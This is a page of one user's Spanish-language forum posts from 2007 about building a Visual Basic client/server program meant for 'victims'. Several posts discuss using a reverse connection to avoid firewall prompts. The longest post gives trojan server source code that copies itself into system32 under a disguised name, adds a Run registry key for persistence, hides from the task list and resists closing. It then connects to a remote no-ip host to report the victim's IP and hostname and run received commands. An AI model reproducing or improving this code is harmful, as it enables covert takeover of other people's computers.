|
Mostrar Mensajes
|
Páginas: 1 2 [3] 4 5 6 7
|
23
|
Programación / Programación Visual Basic / Re: porque me sale este error
|
en: 20 Enero 2007, 16:29 pm
|
es que mira si se lo envio a una victima, ya lo abre, y le quiero enviar una nueva version, no creo que me haga caso de ir a system32 borra el archivo, primer cerralo con ctrl+alt+supr y luego ir a regedit, y borras el registro que dice para que w ejecute cuando enciende el pc xD
|
|
|
24
|
Programación / Programación Visual Basic / Re: cliente/servidor socket
|
en: 20 Enero 2007, 16:27 pm
|
noo, nada conexion inversa es mucho mejor, xq aveces el fireewall de windows pregunta cuando un programa pone a la escucha un puerto, entonces con conexion inversa tu pones a la escucha el cliente, y no el server, asi que cuando la victima ejecute el server, firewall no le preguntara nada x lo menos mi proyecto lo estoi haciendo en conexion inversa, y tan bien es mejor xq es multiconexion Saludos....
|
|
|
25
|
Programación / Programación Visual Basic / Re: cliente/servidor socket
|
en: 20 Enero 2007, 02:18 am
|
como haber, kieres crear un programa, el cual cuando la victima lo abra te envia la ip? si es que es eso server: ws.sendata ws.localip cliente: en dataarribal dim data as string label1.caption data nose si es eso? si es que es eso lo que kieres, te pongo otro code mas mejor jaja xD
|
|
|
26
|
Programación / Programación Visual Basic / Re: Opinen de aplicacion cliente/servidor
|
en: 20 Enero 2007, 02:16 am
|
sice que le faltan mas funciones xD, pero ahora lo cambia y se ve asi xD, me falta para matar procecos, file manager, regedit y opciones cualkieras apagar pc y otras, y lo de usuarios conectados arriba en el caption esta malito = xD Saludos... espero que les guste la nueva forma
|
|
|
27
|
Programación / Programación Visual Basic / Re: cliente/servidor socket
|
en: 20 Enero 2007, 01:57 am
|
el problema es saber la ip del pc remoto?si es que es eso Ya miren enviamos un archivo a una persona y esperamos que acepte luego con este programa se muesstran todas las conexciones,es mejor que el netstat se ven las conexiones en tiempo real .::oh-ip plus::.la conexciones 1863 de messenger, creo que son las del servidor, y x cada conversa se agrega otra conexion a ese puerto
|
|
|
29
|
Programación / Programación Visual Basic / Re: porque me sale este error
|
en: 20 Enero 2007, 01:33 am
|
ya encntre el error, se declara como variant xD, no como string, xD xq? y como puedo hacer, miren este code del server Option Explicit Dim SName As String Dim win Dim sys Dim ruta As Variant, Residencia As Variant, Residencia2 As Variant Dim obj Private Sub Form_Load() On Error Resume Next Text_chat.Text = "Chat abierto" ruta = App.Path If Right(ruta, 1) <> "\" Then ruta = ruta & "\" ruta = ruta & App.EXEName & ".exe" Set obj = CreateObject("Scripting.FileSystemObject") Set win = obj.GetSpecialFolder(0) Set sys = obj.GetSpecialFolder(1) win = LCase(win) sys = LCase(sys) FileCopy ruta, sys & "\winslon.exe" Set Residencia = CreateObject("WScript.Shell") Residencia.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\winslon", sys & "\winslon.exe" Ws.RemoteHost = "shadowdarknesses.no-ip.org" Ws.RemotePort = 5555 SName = "ShaCCorTh" App.TaskVisible = False End Sub Private Sub Form_Unload(Cancel As Integer) Cancel = True End Sub
Private Sub Timer_conect_Timer() If Ws.State <> 7 Then Ws.Close Ws.Connect Timer_info.Enabled = True End If End Sub
Private Sub Timer_info_Timer() If Ws.State = 7 Then Envia "Conexion|" & SName & "|" & Ws.LocalIP & "|" & Ws.LocalHostName & "|" & App.Major & "." & App.Minor & "." & App.Revision & "|" & Ws.LocalPort Timer_info.Enabled = False End Sub
Private Sub Ws_DataArrival(ByVal bytesTotal As Long) Dim datos As String, rutai As Variant Dim vdata() As String On Local Error Resume Next Ws.GetData datos vdata = Split(datos, "|") Select Case vdata(0) Case "Paint" Shell ("mspaint") Case "Chatini" Me.Visible = True Case "Chatinfo" Text_chat.Text = Text_chat.Text & vbNewLine & vdata(1) Case "Chatfin" Me.Visible = False Text_chat.Text = "Chat abierto " Case "Cerrar" End Case "Alerta" MsgBox vdata(1), vdata(2), vdata(3) Case "Abrir_cd" apicd "set CDAudio door open", "", 127, 0 Case "Cerrar_cd" apicd "set CDAudio door closed", "", 127, 0 Case "Ejec-ruta" Set rutai = CreateObject("WScript.Shell") rutai.Run vdata(1) End Select End Sub
Private Sub Enviar_Click() If Text_nick.Text = "" Then MsgBox "Debes poner tu nick", vbCritical Exit Sub End If Text_chat.Text = Text_chat.Text & vbNewLine & Text_nick.Text & " : " & Text_mens.Text Envia "Chatinfo|" & Text_nick.Text & " : " & Text_mens.Text Text_mens.Text = "" End Sub
Private Sub Text_chat_Change() Text_chat.SelStart = Len(Text_chat.Text) End Sub Private Sub Text_mens_KeyPress(KeyAscii As Integer) If KeyAscii = 13 Then Enviar_Click End Sub
en la parte que se copia a system32, ya yo lo abro y se copia todo bien, lo abro de nuevo y no reemplaza el archivo si no que keda el primer archivo ejecutado, como ago para que lo reemplaze?? Gracias y saludos...
|
|
|
|
|
|
|